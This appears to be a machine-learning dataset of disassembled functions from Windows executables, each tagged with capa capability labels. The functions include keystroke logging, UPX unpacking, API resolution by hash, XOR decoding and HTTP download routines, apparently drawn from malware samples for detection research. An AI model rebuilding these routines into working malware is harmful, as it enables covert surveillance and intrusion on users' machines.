joyce8/EMBER2024-capa huggingface dataset:
Function at 0x812ca0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 8], 0
jne 0x812cb3
xor eax, eax
jmp 0x812d71
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x812cce
xor eax, eax
jmp 0x812d71
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp dword [edx], 0x4550
je 0x812cec
xor eax, eax
jmp 0x812d71
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], 0
jmp 0x812d2e
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [eax + 0x18]
jae 0x812d6f
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
push edx
call fcn.008120a0
add esp, 8
test eax, eax
jne 0x812d6d
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x812d71
jmp 0x812d25
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4949c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x84000]
push edi
jmp 0x4949da
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4949e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4949d0
mov eax, 1
add ebx, ebx
jne 0x4949f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x494a04
jne 0x494a23
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x494a23
dec eax
add ebx, ebx
jne 0x494a10
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4949e8
add ebx, ebx
jne 0x494a1f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x494a75
xor ecx, ecx
sub eax, 3
jb 0x494a3b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x494aaa
sar eax, 1
mov ebp, eax
jmp 0x494a46
add ebx, ebx
jne 0x494a46
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x494a14
inc ecx
add ebx, ebx
jne 0x494a54
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x494a14
add ebx, ebx
jne 0x494a61
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x494a56
jne 0x494a72
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x494a56
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x494a94
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x494a86
jmp 0x4949d6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x494a94
add edi, ecx
jmp 0x4949d6
pop esi
mov edi, esi
mov ecx, 0xa57
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x494ab2
cmp byte [edi], 0x12
jne 0x494ab2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x494ab7
lea edi, [esi + 0x92000]
mov eax, dword [edi]
or eax, eax
je 0x494b2f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x103900]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1039e0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x494ae4
mov ecx, edi
jns 0x494b13
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1039e8]
or eax, eax
je 0x494b29
mov dword [ebx], eax
add ebx, 4
jmp 0x494b01
call dword [esi + 0x1039e4]
mov ebp, dword [esi + 0x1039ec]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x494b63
sub esp, 0xffffff80
jmp 0x41942f
Function at 0x401680
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41eafd
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x42a00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
lea eax, [ebp + 0xc]
mov dword [ebp - 4], 0
push eax
call fcn.0040fa90
mov dword [eax], 0x30
lea eax, [ebp + 0xc]
push eax
call fcn.0040fa90
mov dword [eax + 4], 0
lea eax, [ebp + 0xc]
push eax
call fcn.0040fa90
mov dword [eax + 8], esi
lea eax, [ebp + 0xc]
push eax
call fcn.0040fa90
mov dword [eax + 0xc], 0
lea eax, [ebp + 0xc]
push eax
call fcn.0040fa90
mov dword [eax + 0x10], 0
lea eax, [ebp + 0xc]
push eax
call fcn.0040fa90
mov dword [eax + 0x14], edi
lea eax, [ebp + 0xc]
push eax
call fcn.0040fa90
mov edi, dword [ebp + 8]
push 0x7f00
push 0
mov dword [eax + 0x18], edi
call dword [sym.imp.USER32.dll_LoadCursorW]
mov esi, eax
lea eax, [ebp + 0xc]
push eax
call fcn.0040fa90
mov dword [eax + 0x1c], esi
lea eax, [ebp + 0xc]
push eax
call fcn.0040fa90
mov dword [eax + 0x20], 5
lea eax, [ebp + 0xc]
push eax
call fcn.0040fa90
sub esp, 0x18
mov ecx, esp
mov dword [eax + 0x24], 0
lea eax, [ebp + 0xc]
push eax
call fcn.00410170
call fcn.00401580
add esp, 0x18
mov esi, eax
lea eax, [ebp + 0xc]
push eax
call fcn.0040fa90
mov dword [eax + 0x28], esi
lea eax, [ebp + 0xc]
push eax
call fcn.0040fa90
mov dword [eax + 0x2c], edi
lea eax, [ebp + 0xc]
push eax
call fcn.0040fa90
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
test ax, ax
je 0x4017d7
mov edx, dword [ebp + 0x20]
cmp edx, 0x10
jb 0x4017c6
mov ecx, dword [ebp + 0xc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4017bc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017de
push edx
push ecx
call fcn.0041175f
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 1
call fcn.00415b55
call fcn.0041609d
int3
Function at 0x4020d0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41ec38
mov eax, dword fs:[0]
push eax
sub esp, 0xe8
mov eax, dword [0x42a00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0xf4], edi
mov dword [ebp - 0xf4], edi
sub esp, 0x18
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00410170
call fcn.00401580
add esp, 0x18
mov esi, eax
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WININET.dll_InternetOpenW]
push 0
push 0
push 0
push 0
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
lea ecx, [ebp - 0xf4]
push ecx
push 0x64
lea ecx, [ebp - 0xd8]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xe0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xdc], 0xf
mov byte [ebp - 0xf0], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402190
sub ecx, edx
lea eax, [ebp - 0xd8]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.00410390
mov byte [ebp - 4], 1
lea eax, [ebp - 0xf0]
mov ecx, dword [ebp - 0xf4]
cmp dword [ebp - 0xe0], ecx
mov dword [edi], 0
cmovb ecx, dword [ebp - 0xe0]
cmp dword [ebp - 0xdc], 0x10
push ecx
cmovae eax, dword [ebp - 0xf0]
mov ecx, edi
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
push eax
mov byte [edi], 0
call fcn.00410390
mov edx, dword [ebp - 0xdc]
cmp edx, 0x10
jb 0x40222d
mov ecx, dword [ebp - 0xf0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402223
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40227a
push edx
push ecx
call fcn.0041175f
add esp, 8
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x40225d
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402253
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40227a
push edx
push ecx
call fcn.0041175f
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004115ff
mov esp, ebp
pop ebp
ret
call fcn.0041609d
int3
Function at 0x40f340
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
push 2
push ecx
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
movsx eax, al
push eax
call fcn.00415d74
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
add esp, 4
mov bl, al
push 0x14
call esi
test al, 1
je 0x40f37d
push 0x10
call esi
test al, al
js 0x40f37d
movsx eax, bl
push eax
call fcn.00415da4
add esp, 4
mov bl, al
push 0x14
call esi
test al, 1
jne 0x40f39b
push 0x10
call esi
test al, al
jns 0x40f39b
movsx eax, bl
push eax
call fcn.00415da4
add esp, 4
mov bl, al
push 0x10
call esi
test al, al
jns 0x40f49b
cmp bl, 0x31
jne 0x40f3b3
mov bl, 0x21
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x32
jne 0x40f3bf
mov bl, 0x40
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x33
jne 0x40f3cb
mov bl, 0x23
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x34
jne 0x40f3d7
mov bl, 0x24
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x35
jne 0x40f3e3
mov bl, 0x25
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x36
jne 0x40f3ef
mov bl, 0x5e
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x37
jne 0x40f3fb
mov bl, 0x26
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x38
jne 0x40f407
mov bl, 0x2a
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x39
jne 0x40f413
mov bl, 0x28
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x30
jne 0x40f41f
mov bl, 0x29
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x2d
jne 0x40f42b
mov bl, 0x5f
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x3d
jne 0x40f437
mov bl, 0x2b
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x5b
jne 0x40f443
mov bl, 0x7b
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x5d
jne 0x40f44f
mov bl, 0x7d
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x3b
jne 0x40f45b
mov bl, 0x3a
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x27
jne 0x40f467
mov bl, 0x22
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x5c
jne 0x40f473
mov bl, 0x7c
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x2c
jne 0x40f47f
mov bl, 0x3c
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x2e
jne 0x40f48b
mov bl, 0x3e
pop esi
mov al, bl
pop ebx
ret
cmp bl, 0x2f
movzx eax, bl
mov ecx, 0x3f
cmove eax, ecx
mov bl, al
pop esi
mov al, bl
pop ebx
ret

Function at 0x4108d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41f224
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x42a00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0x34
call fcn.0041172f
mov esi, eax
add esp, 4
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0
mov ecx, esi
push dword [ebp + 0x10]
call fcn.00410170
push dword [ebp + 0xc]
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.00410170
mov dword [esi + 0x30], 0x402670
mov dword [ebp + 0x10], esi
lea ebx, [edi + 4]
mov dword [ebp - 4], 2
push ebx
push 0
push esi
push 0x4114d0
push 0
push 0
call fcn.004153bd
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x41096c
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push 6
mov dword [ebx], 0
call fcn.0041271b
int3
Function at 0x401219
Capabilities:
Packed with generic packer

Disassembly:
insb byte es:[edi], dx
pop ecx
jae 0x4010eb
pushal
das
invalid
jecxz 0x40114a
pop ebp
jae 0x4010ec
adc dword [edi], ecx
add al, 7
dec ecx
clc
int3
xor dword [ebp + 0x7a], edx
dec ecx
sbb byte [ecx + 0xb], dh
mov ebp, 0xda7b22e7
test byte [ebx - 0x74], dh
jbe 0x4010e3
fiadd dword [ebx + esi*2 - 0x256c8974]
mov bh, 0x8d
loope 0x401187
fidiv dword [edi + 0x6332e18d]
fistp qword [edi]
arpl di, bx
aas
mov cl, 0xb0
ja 0x4010ef
cmpsb byte [esi], byte es:[edi]
invalid
aam 0x7f
jmp edi
stc
cmpsd dword [esi], dword es:[edi]
invalid
pop ecx
invalid
xor esi, dword [ebx + 0x4e]
imul ecx, dword [ecx - 0x3d], 0x73516ccb
mov dword [ebx + esi + 0x7b], ebp
popal
cmp eax, 0xef897324
popfd
jnp 0x40113f
lodsb al, byte [esi]
sub al, 0x74
xor dword [ebp + 0x59], ebp
jae 0x401150
xchg dword [esi - 0x10], edi
jno 0x40115f
sub eax, 0x6c93d959
arpl word [ecx], di
pop ecx
wait
mov ebx, 0xa735911
test al, 0x51
invalid
rcr byte [edi + 0x4edaafd4], 1
movsd dword es:[edi], dword [esi]
fcomp qword [ebx]
jae 0x401188
sbb dword [esi - 0x35], ebx
mov byte [ecx + ebx*2 + 0x73], ch
bound eax, qword [eax + edi*8 + 0x592e395f]
clc
pop edi
cmp dword [esi], ebp
pop ecx
sbb dword [edx + 0x312bb993], eax
insd dword es:[edi], dx
pop ecx
jae 0x4011a0
xchg dword [esi + 0x596c2817], ecx
jae 0x4011a8
pop ss
sub byte [ecx + ebx*2 + 0x73], ch
mov dword [ecx], edi
rcl byte [esi + 0x6f3193e3]
cmp dword [esi], ebp
pop ecx
cmp eax, edx
xchg esi, eax
jecxz 0x4011b7
xor dword [edi + 0x39], ebp
pop ecx
sbb edx, dword [ebx]
jl 0x401246
jae 0x401208
or al, dl
push esi
mov dword [ecx + ebx*2 + 0x73], ebp
or al, byte [eax + 0x3bdf2049]
rcl byte [esi]
popal
cmp al, 0x80
dec edi
lodsd eax, dword [esi]
or bl, al
jg 0x4011f4
lodsd eax, dword [esi]
insb byte es:[edi], dx
pop edx
stosb byte es:[edi], al
movsd dword es:[edi], dword [esi]
dec eax
fidiv dword [edi + 0x1959068d]
mov dword [ecx + esi*2], eax
ret
Function at 0x4048e4
Capabilities:
Delete directory
Get common file path
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc48
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
push esi
xor esi, esi
cmp dword [0x59e110], 0x594
push edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
jne 0x40492c
push 0x404724
push 0x40473c
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov eax, dword [0x42a4a8]
mov dword [ebp - 0x24], eax
mov eax, dword [0x42a4ac]
mov dword [ebp - 0x2c], eax
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
call fcn.004048d3
mov eax, dword [str.o2NL]
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x42a4b4]
add ebx, 0x23f
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 8], 2
add dword [ebp - 8], 3
mov eax, dword [ebp - 0x10]
shl eax, 4
cmp dword [0x59e110], 0xc
mov dword [ebp - 4], eax
jne 0x4049cb
push esi
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0xc48]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
lea eax, [ebp - 0x34]
push eax
push esi
lea eax, [ebp - 0x48]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [0x59e110]
cmp eax, 0xfa9
jne 0x4049e7
mov dword [0x59d6ac], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4049f4
mov dword [0x59d05c], esi
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
lea eax, [ebx + edx]
shr edx, cl
mov dword [ebp - 0x14], eax
mov dword [0x59d6a8], 0xf4ea3dee
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
cmp dword [0x59e110], 0x213
mov dword [ebp - 0x14], edx
jne 0x404a2e
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], 0x64
sub dword [ebp - 0xc], eax
sub dword [ebp - 0xc], 0x64
mov eax, dword [ebp - 0xc]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov eax, edx
shr eax, cl
lea edi, [ebx + edx]
add eax, dword [ebp - 0x2c]
xor eax, edi
xor dword [ebp - 4], eax
push dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.004048da
add ebx, 0x61c88647
dec dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
jne 0x404968
cmp dword [0x59e110], 0xa6d
mov edi, dword [ebp + 8]
mov dword [edi], eax
pop ebx
jne 0x404a9a
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov edx, dword [ebp - 0xc]
mov dword [edi + 4], edx
pop edi
pop esi
leave
ret 4
Function at 0x404ded
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x40c
push ebx
push esi
xor esi, esi
cmp dword [0x59e110], 0x400
push edi
jne 0x404e4d
push esi
call dword [sym.imp.KERNEL32.dll__lclose]
push esi
push esi
call fcn.00405209
push esi
call fcn.00405298
add esp, 0xc
push esi
push esi
call fcn.00405209
push esi
push esi
call fcn.004055a9
push esi
call fcn.00405724
add esp, 0x14
push esi
push esi
call fcn.00405190
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004048b0
fstp st(0)
mov eax, dword [0x42ab34]
mov dword [0x59e110], eax
mov eax, dword [0x42ab0c]
mov dword [0x59e114], eax
call fcn.00404c16
xor ebx, ebx
mov edi, 0x2b259d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea eax, [esp + 0x10]
push eax
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp ebx, edi
jle 0x404e99
cmp dword [esp + 0x14], 0x785074d5
jne 0x404ea2
inc ebx
cmp ebx, 0x1c1b
jl 0x404e6d
xor ebx, ebx
push esi
lea eax, [esp + 0x1c]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x4047c0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
cmp ebx, edi
jle 0x404ecd
cmp dword [esp + 0x14], 0x785074d5
jne 0x404ed6
inc ebx
cmp ebx, 0x11915
jl 0x404ea4
mov eax, dword [0x59d060]
mov dword [0x59d6a4], eax
call eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x406100
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4290e8]
jne 0x40610a
repz ret
jmp fcn.0040a8a2
Function at 0x40a5c5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040806d
and dword [ebp - 4], 0
cmp dword [0x42b3c0], 0
mov ebx, eax
jne 0x40a676
push 0x401bc8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a727
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401bbc
push edi
call esi
test eax, eax
je 0x40a727
push eax
call fcn.00407ffb
mov dword [esp], 0x401bac
push edi
mov dword [0x42b3c0], eax
call esi
push eax
call fcn.00407ffb
mov dword [esp], 0x401b98
push edi
mov dword [0x42b3c4], eax
call esi
push eax
call fcn.00407ffb
mov dword [esp], 0x401b7c
push edi
mov dword [0x42b3c8], eax
call esi
push eax
call fcn.00407ffb
pop ecx
mov dword [0x42b3d0], eax
test eax, eax
je 0x40a676
push 0x401b64
push edi
call esi
push eax
call fcn.00407ffb
pop ecx
mov dword [0x42b3cc], eax
mov eax, dword [0x42b3cc]
cmp eax, ebx
je 0x40a6ce
cmp dword [0x42b3d0], ebx
je 0x40a6ce
push eax
call fcn.00408076
push dword [0x42b3d0]
mov esi, eax
call fcn.00408076
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a6ce
test edi, edi
je 0x40a6ce
call esi
test eax, eax
je 0x40a6c5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a6c5
test byte [ebp - 0xc], 1
jne 0x40a6ce
or dword [ebp + 0x10], 0x200000
jmp 0x40a707
mov eax, dword [0x42b3c4]
cmp eax, ebx
je 0x40a707
push eax
call fcn.00408076
pop ecx
test eax, eax
je 0x40a707
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a707
mov eax, dword [0x42b3c8]
cmp eax, ebx
je 0x40a707
push eax
call fcn.00408076
pop ecx
test eax, eax
je 0x40a707
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42b3c0]
call fcn.00408076
pop ecx
test eax, eax
je 0x40a727
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a729
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43b659
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x43b3c1
pop eax
sub esp, 4
mov dword [esp], 0x7dfd7b2
pop edx
call fcn.0043b694
inc edx
xor dword [ecx], eax
and edx, edi
inc ecx
mov edx, 0x75b88d94
cmp ecx, ebx
jne fcn.0043b659
mov edx, 0x49de8e9e
sub edx, 0x5290379c
push edx
pop edx
ret
Function at 0x484cd4
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x484a08
mov ebx, 0xaf22fc74
inc eax
call fcn.00484d31
sub ebx, 0x87a74035
sub ebx, eax
xor dword [edx], esi
add eax, 0xefe9a0d3
add ebx, 1
add eax, 0x759bd6b8
add edx, 2
sub eax, ebx
add eax, ebx
sub eax, 0xac3c5358
cmp edx, edi
jl fcn.00484cd4
add ebx, 0xd29074b6
and ebx, ebx
sub ebx, ebx
ret
Function at 0x40898f
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov eax, 0x4085d8
sub ecx, ecx
call fcn.004089b7
xor dword [ebx], eax
add ecx, 1
inc ebx
cmp ebx, esi
jne fcn.0040898f
sub edi, 0x478c0417
push ecx
pop ecx
ret
Function at 0x414ac0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x290
push ebx
push ebp
push esi
push edi
push 7
mov dword [esp + 0x2c], ecx
xor esi, esi
mov dword [esp + 0x20], edx
mov ecx, 0xff
mov dword [esp + 0x14], 0x556c651e
mov byte [esp + 0x18], 0x23
pop edi
movzx eax, byte [esp + esi + 0x10]
add ax, di
and ax, cx
mov word [esp + esi*2 + 0x34], ax
inc esi
cmp esi, 5
jl 0x414ae9
push dword [esp + 0x2a4]
xor eax, eax
mov word [esp + 0x42], ax
lea eax, [esp + 0x38]
push eax
call fcn.0041b73a
mov esi, eax
mov dword [esp + 0x18], esi
pop ecx
pop ecx
test esi, esi
je 0x414c67
lea eax, [esp + 0x50]
xor ecx, ecx
push eax
push esi
mov edx, 0x54e1cc7b
inc ecx
call fcn.00412ca7
call eax
mov ebx, eax
cmp ebx, 0xffffffff
je 0x414c60
xor ecx, ecx
mov edx, 0x17299c7b
inc ecx
call fcn.00412ca7
mov esi, dword [esp + 0x1c]
mov ebp, eax
mov word [esp + 0x18], 0x5a5a
push 0x2e
pop eax
mov word [esp + 0x1c], ax
mov edx, 0xff
xor eax, eax
xor ecx, ecx
mov word [esp + 0x1e], ax
movzx eax, byte [esp + ecx + 0x18]
sub ax, 0x2c
and ax, dx
mov word [esp + ecx*2 + 0x2c], ax
inc ecx
cmp ecx, 2
jl 0x414b77
xor eax, eax
mov word [esp + 0x30], ax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x80]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x414c3c
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x80]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x414c3c
test byte [esp + 0x50], 0x10
je 0x414c3c
mov dword [esp + 0x20], 0x93bca3ea
xor ecx, ecx
mov word [esp + 0x24], 0xa3ea
mov byte [esp + 0x26], 0xbc
mov al, byte [esp + ecx + 0x20]
xor al, 0xcf
movzx eax, al
mov word [esp + ecx*2 + 0x40], ax
inc ecx
cmp ecx, edi
jl 0x414be6
xor eax, eax
mov word [esp + 0x4e], ax
lea eax, [esp + 0x7c]
push eax
push dword [esp + 0x2a8]
lea eax, [esp + 0x48]
push eax
call fcn.0041b73a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x414c39
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x7c]
push eax
push edi
mov edx, esi
call fcn.00414c72
push edi
call fcn.004056f0
add esp, 0xc
push 7
pop edi
lea eax, [esp + 0x50]
push eax
push ebx
call ebp
test eax, eax
jne 0x414b61
xor ecx, ecx
mov edx, 0x83fbc401
push ebx
inc ecx
call fcn.00412ca7
call eax
mov esi, dword [esp + 0x10]
push esi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x290
ret